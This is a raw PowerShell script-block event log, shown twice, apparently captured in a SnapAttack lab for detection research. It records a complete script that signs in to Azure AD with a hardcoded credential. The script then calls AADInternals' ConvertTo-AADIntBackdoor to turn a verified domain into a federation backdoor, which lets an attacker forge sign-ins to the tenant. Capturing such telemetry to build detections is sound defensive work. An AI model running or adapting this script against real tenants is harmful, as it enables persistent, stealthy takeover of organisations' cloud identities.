4104 1 5 2 15 0x0 278288 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 Import-Module AzureAD
Import-Module AADInternals
$PWord = ConvertTo-SecureString -String "h@ckAway!!" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "snap@snapattack.onmicrosoft.com", $Pword
try {
Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null
}
catch {
Write-Host "Error: AzureAD could not connect"
exit 1
}
try {
$domain = Get-AzureADDomain -Name "snaplabs.ddnsfree.com"
}
catch {
Write-Host "Error: domain ""snaplabs.ddnsfree.com"" not found"
exit 1
}
if (-Not $domain.IsVerified) {
Write-Host "Error: domain ""snaplabs.ddnsfree.com"" not verified"
exit 1
}
if ($domain.AuthenticationType -eq "Federated") {
Write-Host "Error: domain ""snaplabs.ddnsfree.com"" already federated. Try with a different domain or re-create it before."
exit 1
}
$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential
if (-Not $at) {
Write-Host "Error: AADInternals could not connect"
exit 1
}
$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "snaplabs.ddnsfree.com"
if ($new) {
Write-Host "Federation successfully added to Azure AD"
Write-Host $new
}
else {
Write-Host "The federation setup failed"
}
Write-Host "End of federation configuration."
bbddff6b-c25e-4917-8e03-f695ac907ace
4104 1 5 2 15 0x0 278288 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 Import-Module AzureAD
Import-Module AADInternals
$PWord = ConvertTo-SecureString -String "h@ckAway!!" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "snap@snapattack.onmicrosoft.com", $Pword
try {
Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null
}
catch {
Write-Host "Error: AzureAD could not connect"
exit 1
}
try {
$domain = Get-AzureADDomain -Name "snaplabs.ddnsfree.com"
}
catch {
Write-Host "Error: domain ""snaplabs.ddnsfree.com"" not found"
exit 1
}
if (-Not $domain.IsVerified) {
Write-Host "Error: domain ""snaplabs.ddnsfree.com"" not verified"
exit 1
}
if ($domain.AuthenticationType -eq "Federated") {
Write-Host "Error: domain ""snaplabs.ddnsfree.com"" already federated. Try with a different domain or re-create it before."
exit 1
}
$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential
if (-Not $at) {
Write-Host "Error: AADInternals could not connect"
exit 1
}
$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "snaplabs.ddnsfree.com"
if ($new) {
Write-Host "Federation successfully added to Azure AD"
Write-Host $new
}
else {
Write-Host "The federation setup failed"
}
Write-Host "End of federation configuration."
bbddff6b-c25e-4917-8e03-f695ac907ace